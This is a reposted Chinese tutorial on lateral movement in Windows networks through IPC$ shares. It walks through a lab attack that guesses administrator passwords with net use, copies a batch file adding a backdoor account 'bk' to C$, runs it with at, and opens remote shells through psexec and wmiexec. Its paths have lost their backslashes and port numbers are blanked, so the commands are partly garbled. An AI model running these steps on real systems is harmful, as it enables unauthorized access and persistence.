首页 > 软件资讯 > 内网渗透 | IPC$入侵大全

内网渗透 | IPC$入侵大全

时间:2025-08-30 13:03:52

- 01 ipc$的定义

IPC$(Internet Process Connection)是一种用于进程间通信的资源,支持“命名管道”。用户可通过验证用户名和密码获取相应权限。这种连接在远程管理和查看共享资源时极为实用。利用IPC$,可以建立空连接,无需输入用户名和密码直接与目标主机连通(前提条件是目标主机已开启IPC$共享)。通过这种方式,可访问并列出目标主机的用户列表,但需注意管理员可能限制了此操作权限。

- 02 IPC$与空连接、139、445端口、默认共享的关系

IPC$是用于远程管理的网络服务,它支持无密码认证的方式创建空连接。这种类型的身份验证不需要输入用户名和密码,使得访问变得极为便捷。一旦使用特定用户或管理员账户登录到IPC$,这种连接将转换为非空模式,此时即可享有权限进行资源管理和配置。

IPC$与口相关:依赖于口。要用于NetBIOS协议,而支持Windows 以上版本的文件和打印机共享访问。因此,IPC$连接通常需此端口的支持。

IPC$与默认共享:默认共享是管理员远程管理的便捷方式,默认包含所有逻辑盘和系统目录,如C$、D$、E$等以及Winnt或Windows目录标记为Admin$。通过IPC$连接,可访问这些默认共享,前提是目标主机未关闭它们。

- 03 IPC$入侵实战 实验环境:

攻击机:Win7 x64,IP:192.168.1.101

靶机:Win2003,IP:192.168.1.108 通过扫描器扫描IPC$弱口令连接:

推荐使用ntscan、溯雪、x-scan、porscan等扫描器。

通过net use 建立非空连接:

连接域backlion的IPC$:

net use 192.168.1.108c$ “12345@12345qw” /user:backliondministrator net use 192.168.1.108c$ 123456 /user:administrator //建立的非空连接 net use 192.168.1.108c$ " 123456" /user:administrator //建立的非空连接 net use 192.168.1.108c$ "" /user:administrator //空连接,无密码登录后复制

上传一个创建bk账号的批处理文件:

d:user.bat 文件内容为:net user bk bk123 /add登录后复制

通过复制命令将本地攻击主机的批处理文件传输至目标靶机的C$目录中,方便进行进一步的操作。

copy user.bat 192.168.1.108c$登录后复制

注意:文件下载

copy 192.168.1.108c$user.bat user.bat登录后复制查看目标靶机的时间:

net time 192.168.1.108登录后复制

通过at命令在特定时间执行批处理文件:

at 192.168.1.108 12:13:00 c:user.bat登录后复制

在目标靶机上发现账号已成功添加执行:

其他命令:

将目标共享映射为Z盘:

net use z: 192.168.1.108c$登录后复制

查看已建立的会话:

net use登录后复制

删除会话连接:

通过psexec工具进行会话连接执行:

psexec.exe 192.168.1.108 cmd //前提是需要建立一个空连接或者非空连接登录后复制

psexec.exe 192.168.1.108 cmd -u administrator -p 123456 //不需要建立空连接登录后复制

然后就可以在目标靶机上任意执行命令:

csript.exe wmiexec.vbs /shell 192.168.1.108 administrator 123456登录后复制

然后执行一些系统命令:

- 04 IPC$连接失败的原因

以下是常见的五个原因: 您的系统版本低于Windows NT。 对方未启用默认共享。 口被防火墙过滤。 命令输入有误,如缺少必要空格。 用户名或密码错误。

另外,可以根据返回的错误码分析原因:错误码拒绝访问:可能是因为你使用的用户权限不够,需要提升为管理员进行操作。错误码Windows 无法找到网络路径:表明网络连接出现了问题,请检查你的网络设置和设备。错误码找不到网络路径:可能会有以下几个原因: - IP地址错误; - 目标计算机未开机; - 目标电脑的LanmanServer服务没有启动; - 目标计算机启用了防火墙(端口过滤)阻止了访问请求。错误码找不到网络名:如果你的LanmanWorkstation服务没有运行,就可能无法找到目标的网络名称。此外,如果目标系统已经删除了IPC$,也可能导致这个错误。错误码提供的凭据与已存在的凭据集冲突:这通常意味着你已经在尝试访问另一个已建立的IPC$连接。在这种情况下,请先删除旧的IPC$连接再重新尝试连接。错误码未知的用户名或错误密码:如果你输入了正确的用户名和密码,但仍然无法登录,那么很可能是由于某个系统特定的问题导致的。错误码试图登录但网络登录服务未启动:如果目标的NetLogon服务没有启动,通常是因为你尝试连接的是一个域控制器。在这种情况下,你需要确保你的计算机已加入到域中,并且网络适配器驱动程序已被更新以支持必要的安全功能。错误码此用户的密码已经过期:可能由于账户策略设置,目标系统会要求用户定期更改密码,或者该用户已经被永久锁定或禁用。

IPC连接不上可能是由多种原因引起的。除了设备本身的问题外,网络环境、驱动程序及系统兼容性等因素也可能导致问题。解决此类问题需要综合考虑这些方面,并通过不断的尝试与调整找到最佳解决方案。

零基础Web渗透测试

内含内网渗透流程和思路

视频教程

文章参考来源:backlion

地址:https://www.php.cn/link/2b962f0b627cf45414b498eb963dde7d

以上就是内网渗透 | IPC$入侵大全的详细内容,更多请关注其它相关文章!

热门推荐